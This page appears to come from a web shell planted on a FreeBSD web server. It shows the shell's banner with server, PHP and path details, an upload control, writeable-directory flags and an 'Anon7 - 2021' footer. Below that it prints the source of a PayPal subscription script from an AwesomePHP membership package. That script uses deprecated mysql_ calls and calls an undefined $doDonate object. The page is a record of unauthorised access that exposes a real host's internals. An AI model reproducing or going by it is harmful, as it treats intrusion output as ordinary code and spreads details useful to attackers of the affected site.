KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/Membership/payments/paypal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/Membership/payments/paypal/subscribe.php
<?php

/**************************************************/
/*
Released by AwesomePHP.com, under the GPL License, a
copy of it should be attached to the zip file, or
you can view it on http://AwesomePHP.com/gpl.txt
*/
/**************************************************/

/*
This file will display
a form to make a subscription
*/

/* Check for Rate */
if($_GET['rate_id'] == NULL || !is_numeric($_GET['rate_id'])){ die('Invalid Subscription Rate.');}

//Call Database & Connect
require_once('../../headers/database.php');
connect();

//Call functions
require_once('../../headers/functions.php');

//Login Check Page
require_once('../../headers/logincheck.php');

//Get Admin Values
$get_cd = mysql_query("SELECT * FROM `memb_config`");
while($each = mysql_fetch_assoc($get_cd)){$$each['config_name'] = $each['config_value'];}

if($is_logged == false){
	//Disconnect Database
	disconnect_data();
	header('Location: '.$CF_URLINC.'login.php?m=1');
}

$get_rate = mysql_fetch_assoc(mysql_query("SELECT * 
	FROM `memb_memberships_rates` WHERE `rate_id`='$_GET[rate_id]'"));

//Disconnect Database
disconnect_data();

/* Do we have correct rate? */
if($get_rate['rate_id'] != $_GET['rate_id']){ die('Invalid Membership Rate.');}

/* Get Paypal Class */
require_once('paypal.class.php');

/***************************** SUBSCRIPTION EXAMPLE *****************************/
/* Start Class */
$doSubscribe = new Paypal;


/* Sandbox testing */
if($CF_SANDBOX == '1'){
	$doSubscribe->useSandBox(true);
}

/*
Add variables to Form 
PARAMTERS MUST ADHERE TO PAYPAL STANDARDS
View all paramters @ PaypalVariables.html
located in main folder of this class
*/
$doSubscribe->addVar('business',$CF_PAYPALID);	/* Payment Email */
$doSubscribe->addVar('cmd','_xclick-subscriptions');
$doSubscribe->addVar('currency_code','USD');
$doSubscribe->addVar('item_name',$CF_SITENAME.' Subscription');
$doSubscribe->addVar('item_number',$_GET['rate_id'].'_'.$user_info['user_id']);

/* Regular Subscription Rates */
$doSubscribe->addVar('a3',$get_rate['rate_amount']);
$doSubscribe->addVar('p3',$get_rate['rate_term']); 
$doSubscribe->addVar('t3',$get_rate['rate_term_c']);

/* Automatic Renewal ? */
if($get_rate['rate_automatic'] == 1){
	/* Unlimited recurring payments (till cancelled) */
	$doSubscribe->addVar('src','1');
	/* Try payment again if it ever fails */
	$doSubscribe->addVar('sr1','1');
}

/* No note, required */
$doSubscribe->addVar('no_note','1');

$doSubscribe->addVar('rm','2');			/* Return method must be POST (2) for this class */
/* Paypal IPN URL - MUST BE URL ENCODED */
$doSubscribe->addVar('notify_url',$CF_URLINC.'payments/paypal/checkpayment.php');
$doSubscribe->addVar('cancel_return',$CF_URLINC.'payments/paypal/checkpayment.php');
/*
Thank you Page (if any) - not included in this package
*/


$doDonate->addVar('return',$CF_URLINC.'profile.php?m=1');


/*
Now add a button
*/
$doSubscribe->addButton(5);	/* Default subscription button */
/* or use custom buttons */
/*
$doSubscribe->addButton(6,'http://farm3.static.flickr.com/2154/2173129258_2c40a673f5.jpg?v=0');
*/
/* Show final form */
echo '<div align="center">';
$doSubscribe->showForm();
echo '<div>';
?>

Anon7 - 2021